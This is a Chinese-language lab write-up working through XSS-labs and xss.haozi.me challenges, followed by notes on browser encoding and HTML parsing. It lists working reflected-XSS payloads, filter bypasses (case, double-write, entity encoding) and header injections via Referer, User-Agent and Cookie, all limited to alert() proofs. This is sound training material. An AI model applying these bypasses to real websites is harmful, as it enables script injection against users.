title: XSS
categories:
- XSS
abbrlink: 2700
date: YYYY-MM-DD HH:mm:ss
tags: - XSS
- 靶场
1
XSStrike
XSSlabs靶场
payload
?name=<script>alert(/1/)</script>
?keyword="><script>alert(/1/)</script>//
?keyword='onfocus=javascript:alert('xss')>//&submit=搜索
?keyword="onfocus=javascript:alert('xss')>//&submit=搜索
?keyword="> <a href=javascript:alert('xss') > xss</a> //&submit=搜索
?keyword="><scRipt>alert(/1/)</scRipt>//&submit=搜索
?keyword="><scscriptript>alert(/1/)</scscriptript>//&submit=搜索
?keyword=javascript:alert('xss')&submit=添加友情链接
?keyword=javascript:alert('xss')&submit=添加友情链接
?keyword=javascript:alert('xss')//http://wwww.baidu.com&submit=添加友情链接
?t_link=&t_history=&t_sort="onfocus=javascript:alert('xss') > //
referer:"type="text" onclick="alert('xss')
User-Agent: "type="text" onclick="alert('xss')
Cookie: user="type="text" onclick="alert('xss')
无过滤xss
可以看到有高亮提示xss
工具也扫到了
发现参数传递到了<h2 这里>
简单语句试一下
<script>alert(/1/)</script>
我们看看他是怎么执行的呢
发现是将代码直接替换进去,导致替换进去的字符当成js代码执行了
代码段也可以看到,直接将name替换进去了
这里并没有写入数据库,所以就是一个客户端的一个反射型xss.危害并不大,说白了就是用户自己玩的.
闭合input属性
可见这里传入的值放到了<h2这里</h2>,不过这是没有影响的,我们尝试一下上一关的语句
发现没有弹窗
可以发现这里也是对<>进行了转义处理.猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。
但是往下看一下,有一个value的值并没有被转义处理.这样我们是不是可以尝试着闭合一下value呢
<input name=keyword value="<script>alert(/1/)</script>">
<input name=keyword value=""><script>alert(/1/)</script>//">
这里左边的">闭合input右边//注释后面的
这是扫到的几个
input标签属性
这里也都是用了htmlspecialchars()函数进行了处理
那么可以通过input标签的特殊事件来执行js但
<input name=keyword value='<script>alert(/1/)</script>'>
<input name=keyword value=''onfocus=javascript:alert('xss') > //'>
这里需要点击一下搜索框才能触发
onfocus 事件在对象获得焦点时发生。
onfocus 通常用于 <input>, <select>, 和<a>.
这里工具也是没有扫出来的,原因是没有’进行闭合的payload
input标签属性
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PFRLmblD-1665283225887)(C:/Users/14980/AppData/Roaming/Typora/typora-user-images/image-20220405144512970.png)]
可以看到上面是转义,下面是将<>去掉了.这里也是使用上一关的直接过
<input name=keyword value=""onfocus=javascript:alert('xss') > //">
herf属性
这里也是可以看到是对script这个字符进行的处理
换一个标签继续执行
<input name=keyword value=""> <a href=javascript:alert('xss') > xss</a> //">
点击链接就执行
第五关也没扫到
大小写绕过
大小写绕过就好
<input name=keyword value=""><scRipt>alert(/1/)</scRipt>//">
双写绕过
"><scscriptript>alert(/1/)</scscriptript>//
可见这里payload也没有双写的
html编码
双写替换都不成
将我们要提交的进行unicode编码试试
html10编码
html16编码
两个都可以
也没有html编码的
格式判断
可见对url进行了判断,所以只要构造一个合理的url就ok
javascript:alert('xss')//http://wwww.baidu.com
javascript:alert('xss')//http://wwww.baidu.com
两个中间的是//注释符哦不然会影响alert执行的
第八关都没扫到,第九关肯定也扫不到
hidden属性
没有了value,但是多了三个hidden的值
这里也可以看到有过滤,而且只有t_sort有值传入,所以可以让他显示就好
把这个hidden去掉就好.记得点的时候也要在去掉hidden哦
"onfocus=javascript:alert('xss') > //
当然聪明的你在地址栏直接输也可以
reffer构造
简单构造下
ua构造
cookie构造
xss靶场练习xss.haozi.me
无过滤在div之间
<div><script>alert(/1/)</script></div>
无过滤在textarea之间
</textarea><script>alert(/1/)</script><textarea>
进行前后闭合
</textarea><img src="" onerror=alert(/1/)>
通过错误事件,因为src是不存在的所以当产生错误之后就会执行alert(/1/)
无过滤注入在字符串内
"><script>alert(/1/)</script>
过滤([])括号和方括号
<script>alert`1`</script>
反引号来代替
通过浏览器编码深入xss绕过
基本概念
html编码(字符实体)
字符实体是一个预先定义好的转义序列.字符实体有两种表示方法:
- 字符实体以&开头+预先定义的实体名称+;分号结束,如"<"的实体名称为
<
; - 字符实体还以以&开头+#符号+字符在ascii对应的十进制数字+;分号结束,如<的字符实体编码时<
字符都是有实体编号的,但是有的字符是没有实体名称
javascript编码
最常用的,如\uxxxx这种写法的unicode转义序列,表示一个字符,其中xxxx表示一个16进制的数字,如<的unicode编码为\u003c
url编码
RFC3986文档中规定,url中只允许包含英文字母(a-zA-Z) 数字(0-9) -_.~四个特殊字符以及所有保留字符RFC3986中指定以下字符为保留字符 ! * ’ ( ) ; : @ & = + $ , / ? # [ ]
编码方式 %加字符在ascii码表中的十六进制只. / 在ascii中十六进制为0x2f,那么它对应的url编码为%2f
javascript中提供了3个函数用来对url编码以得到合法的url
- escape()
- encodeURL()
- encodeURLComponent()
浏览器编码解码规则
浏览器无论什么情况下都会遵守一个这样的解码规则
- html解析器对html文档进行解析,完成html解码并且创建dom树
- javascript或者css解析器对内联脚本进行解析,完成js css解码
- url解码会根据url所在的顺序不同而在js解码前或者解码后
html解析器
html中有五类元素
- 空元素(void elements),有area base br col command embed hr img input keygen link meta param source track wbr
- 原始文本元素(Raw text elements) 有<script>和<style>
- RCDATA元素(RCDATA elements) 有<textarea>和<title>
- 外部元素(Foreign elements) 例如mathml命名空间或者svg命名空间的元素
- 基本元素(normal elements) 即除了以上四种元素以外的元素
五类元素的区别
- 空元素,不能容纳任何内容(因为他们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)
- 原始文本元素,可以容纳文本
- RCDATA元素,可以容纳文本和字符引用
- 外部元素,可以容纳文本 字符引用CDTATA段 其他元素和注释
- 基本元素,可以容纳文本 字符引用 其他元素和注释
html解析器以状态机的方式运行,它从文档输入流中消耗字符并根据其转换规则转换到不同的状态
<html>
<body>
Hello world
</body>
</html>
- 初始状态为 data state, 当遇到 < 字符 ,状态变为 tag open state ,读取一个a-z的字符将产生一个开始标签符号,状态相应变为, tag name state 一直保持这个状态直到读取到了 >, 每一个字符都附加到这个符号名上,例子中创建的是一个html符号
- 当读取到> 当前的符号就完成了,此时,状态回到了datastate, <body>重复这一处理过程.到这里,html和body标签都识别出来了.现在,回到data state,读取hellowrld中的字符h将创建
https://mp.weixin.qq.com/s/liODgY4NjYqdWg3JgPXMdA